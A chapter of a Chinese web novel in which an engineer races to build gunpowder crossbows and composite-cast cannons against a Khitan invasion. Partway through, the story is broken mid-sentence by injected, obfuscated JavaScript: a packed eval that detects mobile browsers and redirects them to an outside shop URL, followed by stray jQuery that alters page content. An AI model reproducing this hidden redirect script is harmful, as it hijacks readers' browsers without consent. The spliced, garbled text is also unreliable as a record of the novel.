第十五章：烽火铸器
北边烽火点起来的时候，梁若淳正盯着炉子里烧红的钢锭发呆。
信使的马直接冲进机巧院，扬起一屁股灰，差点撞翻晾在院里的火药筛子。
“契丹二十万南侵！”信使滚下马，嗓子哑得像破锣，“檀州蓟州都破了，涿州在死守！”
郑管事一把抓过军报，独眼扫过，骂了句响彻院子的脏话：“契丹这帮龟孙子！去年签和约时笑得跟朵花似的！”
梁若淳接过军报，眉头越皱越紧。契丹不仅骑兵凶猛，还带着“会喷火的铁管”，守城弩车在它面前跟玩具似的。
“喷火铁管？”她心里咯噔一下，“该不会是……”
兵部紧急会议，大殿里气氛沉重得能拧出水。刚从涿州退下来的老将杨威，说话时胡子都在颤：“那玩意儿能打百步！中者立焚！咱们的弓弩够不着，城墙都被轰塌了！”
兵部尚书急问：“到底什么样？”
“铁管子架车上，装火药铁砂，点火就轰一声——”杨威比划着，“火焰铁砂喷出来，人畜皆亡。”
梁若淳和白子理对视一眼——这描述，离火炮不远了。
“梁大人。”皇帝看过来，“机巧院能造类似的不？”
满殿目光齐刷刷射来。梁若淳深吸一口气：“能。但要时间。”
“多久？”
“一个月出样炮。”
“太慢！”杨威拍桌子，“涿州最多撑十天！十天后契丹就过黄河了！”
“那就先造应急的。”梁若淳脑子飞快转，“改造现有弩车，加火药发射装置。射程威力不如真炮，但至少能对抗。”
“改造要多久？”
“三天。”梁若淳斩钉截铁，“给我最好的铁匠、火药匠，还有乌金石钢。”
皇帝拍板：“准！工部兵部全力配合！要什么给什么！”
梁若淳没回机巧院，先拐去唐显住处。那本李淳风古籍她记得清楚——有一页写着“霹雳火球”。
唐显正在收拾蒸汽工坊残骸，见她来愣了愣。
“唐先生，古籍上‘霹雳火球’那节，您看过吗？”
唐显摇头：“那是火器，我不敢碰。炼丹的都知道火药危险。”
“现在必须碰了。”梁若淳沉声，“契丹都有了，我们不造就等着挨揍。”
回到机巧院，紧急会议立即召开。郑管事、王铁匠、火药坊刘师傅，还有黄河防线退下来的几个老兵，全到齐。
“造两种火器。”梁若淳在黑板上画图，“第一，应急用的‘火药弩’——大弩箭绑火药包，发射后炸。第二，真火炮——铁铸炮管，发实心弹或霰弹。”
刘师傅是三代火药匠，闻言皱眉：“梁大人，火药配比是大学问。配不好要么不炸，要么提前炸。”
“您有经验，听您的。”梁若淳说，“但我们要更快更猛的火药。”
“那就得加硝石，可硝石加多了容易炸膛……”
“用乌金石钢。”王铁匠插话，“新钢比熟铁结实三成，扛得住。”
郑管事却忧心：“契丹的火器哪来的？他们哪来这技术？”
这正是梁若淳最不安的问题。她甩甩头：“先不管，造出咱们自己的再说。刘师傅管火药配比，王师傅管炮管铸造，郑管事总管协调。唐先生——”
她看向唐显：“您研究古籍，看‘霹雳火球’有没有防炸膛的细节。”
分工明确，机巧院彻夜不眠。炉火照红半边天，打铁声、磨研声、试验爆炸声此起彼伏。
第一天，火药弩样机完成。大弩箭箭头改空心装火药，箭尾加长引线。
试验场设在城外荒山。梁若淳亲自点第一支。
弩箭呼啸而出，钉在百步外土坡上。几个呼吸后——“轰！”土石飞溅，炸出三尺见方的坑。
“成了！”郑管事大喜。
杨威将军却摇头：“射程不够。契丹的能打一百五十步，咱们才一百。”
梁若淳计算：“改良滑轮组加弩弦张力，也许能到一百二。但再远……”
“必须造真火炮。”她下定决心。
火炮难点在炮管。要坚固承压，还要轻便易运。王铁匠试了三种铸造法，前两种都失败——要么有砂眼，要么厚度不均。
第三天深夜，唐显拿着古籍找来。
“梁大人，书里有‘分层铸造法’。”他指着泛黄书页，“先铸内管，冷却裹泥范，再铸外管。内外管贴合紧，不易炸裂。”
梁若淳眼睛一亮——复合铸造，现代炮管原理！
“试！”
第四天，第一根复合炮管铸成。长三尺，口径三寸，重两百斤。乌金石钢铸，内外管贴合紧密。
试炮。所有人退百步外，梁若淳点火。
引线嘶嘶燃烧，众人心提到嗓子眼。
“轰——！！！”
震耳欲聋，炮口喷火，三斤铁弹呼啸而出，砸在两百步外土坡上，深入五尺。
寂静。然后欢呼炸开。
“两百步！打了两百步！”杨威激动得声音发颤。
但梁若淳注意到，炮管后坐五尺，地面留下深痕。“后坐力太大，要设计炮架。”
“后坐力？”郑管事不解。
“开炮时间后的力。”梁若淳解释，“要重炮架吸收，或设计缓冲装置。”
第五天，契丹破涿州的消息传来。距黄河，只剩三百里。
兵部令：五天内，第一批火器必须运往前线。
机巧院进入疯狂生产模式。工匠三班倒，炉火日夜不熄。梁若淳几乎住工坊，困了就趴桌眯会儿。
黄梦霞带黄家伙计送来大批物资——铁料、木炭、硝石，还有热腾腾的饭菜。
“梁姑娘，吃点。”她看梁若淳熬红的眼，心疼道。
“谢了。”梁若淳扒两口饭，又回图纸前。
李齐伟和朱佑明也来帮忙。李齐伟算弹道，朱佑明协调物料。连技术学院学生都来了，做些力所能及的活。
第七天，第一批十架火药弩、五门火炮装车完毕。杨威将军亲自押运，连夜北上。
送走车队，梁若淳没休息。她知道，这只是开始。
果然，三天后战报来：火药弩在黄河防线初显威力，击退契丹一次渡河尝试。但契丹火炮更多射程更远，后梁军仍处劣势。
“他们的炮能打二百五十步。”杨威信中说，“还有轮子，移动方便。”
梁若淳看着战报，眉头紧锁。契丹技术进步太快，不正常。
她再翻李淳风古籍，细研每一页。在“霹雳火球”章节夹缝里，发现几行几乎看不清的小字：
“……此法传至西域，慎之……契丹有使来学，未授全本……然天智过人者，或可自悟……”
契丹有使来学？梁若淳心跳加速。如果契丹唐代就接触过火器技术，现在发展就不奇怪了。
但“未授全本”何意？难道契丹得的是不完整技术，所以发展慢，现在才突破？
“唐先生。”她叫来唐显，“您找到这书时，旁边还有别的吗？”
唐显回忆：“有几本残卷，都烂得看不清了。我就拿了这本完整的。”
“残卷还在吗？”
“应该还在道观。”
梁若淳立即派人去终南山。同时，加快第二代火炮研制。
这次目标：射程三百步，重量减轻，加轮式炮架。
第十天，终南山消息传回：道观毁于山火，残卷无存。但在废墟找到一个铜匣，里有几页烧焦的纸。
纸残留字迹显示，李淳风晚年对火器深感忧虑，认为“此术过烈，恐伤天和”，遂将关键技术
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153090|196456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隐去，只留基础原理。
“所以契丹得的是基础原理，摸索几百年才突破。”梁若淳恍然，“而我们……有完整古籍加现代知识，能走捷径。”
但捷径有风险。第十四天，第二代火炮试射炸膛了。
幸好无人伤亡，但炮管炸三截，炮架损毁。检查发现，炮膛内壁细微裂痕在高压下扩展导致。
“乌金石钢还是不够。”王铁匠沮丧，“要有更好的钢……”
梁若淳想起现代炮管用的特种钢，但现在技术根本造不出。
“那就用数量补质量。”她改思路，“造更多炮，用轮换战术——一门打几发就冷却，换另一门。”
第十五天，契丹突破黄河防线的消息传来。虽是小股部队渡河，但意味着黄河天险不再安全。
洛阳城戒严。百姓恐慌，粮价飞涨。
朝堂上，主和派声音再起：“割地求和吧！打不过！”
“割地？”梁若淳在工部会议上怒道，“今天割一城，明天割十城！后天契丹兵临洛阳，我们割什么？割国吗？！”
白子理按她：“梁姑娘，冷静。现在最重要的是克敌之策。”
“我有办法。”梁若淳眼闪光，“契丹火炮有弱点——移动慢，装填慢。我们造小型快速的移动火炮，打游击。”
她设计“车载小炮”——炮管只一尺长，架双轮车上，一匹马就能拉动。射程虽只一百五十步，但机动灵活。
同时改良火药配方，加矿物增燃烧速度，虽加剧炮管磨损，但提高射程。
第二十天，五十门车载小炮、三十门第二代火炮交付前线。
这次，战报终于有好消息。
杨威将军信写：“……车载小炮机动灵活，专打契丹火炮阵地。敌炮沉重移动不便，被我小炮袭扰，难发挥威力……昨日一战，毁敌炮十五门，我军损三门……黄河防线暂稳。”
机巧院里一片欢腾。但梁若淳知道，这只是喘息。
果然，五天后契丹改战术——他们也造小炮，而且数量更多。
“他们在学我们。”白子理忧心，“我们任何创新，他们很快就能模仿。”
梁若淳盯地图，忽然问：“契丹补给线多长？”
“幽州到黄河，四百里。”
“四百里……”她眼闪锐光，“若能断其补给……”
“怎么断？契丹骑兵护粮，难劫。”
“不用劫。”梁若淳笑，“用炮轰。”
她设计新战术：组快速炮队，深入敌后，专袭契丹粮道、水源、营地。不打正面，专打软肋。
这任务交给郑管事。老将带三十门车载小炮、两百精兵，趁夜渡河，潜入敌后。
接下来十天，契丹后方频频遇袭。虽损失不大，但补给线受阻，前线攻势明显放缓。
十一月十五，第一场雪落下时，契丹开始后撤。
不是溃败，是战略收缩。他们退到黄河北岸三十里，扎冬营。
战事进入相持。
机巧院里，梁若淳却丝毫没松懈。她知道，契丹在总结经验，在研究新技术。明年开春，战火必重燃。
她召集所有核心人员，宣布决定：“从今天起，机巧院成立‘火器研究所’，专研新型火器。不仅要超契丹，要让他们追不上。”
唐显犹豫：“梁大人，火器杀伤太大，会不会……有伤天和？”
梁若淳沉默片刻，缓缓道：“我也不喜欢火器。但契丹用火器打来时，不会跟我们讲天和。我们能做的，是让火器掌握在守护者手里，不是侵略者手里。”
她望北方，声音坚定：“而且，火器原理不只用于战争。蒸汽机能驱机械，火药能开山修路。技术本身没善恶，看人怎么用。”
雪越下越大，覆盖洛阳城。
但机巧院的炉火，依然在烧。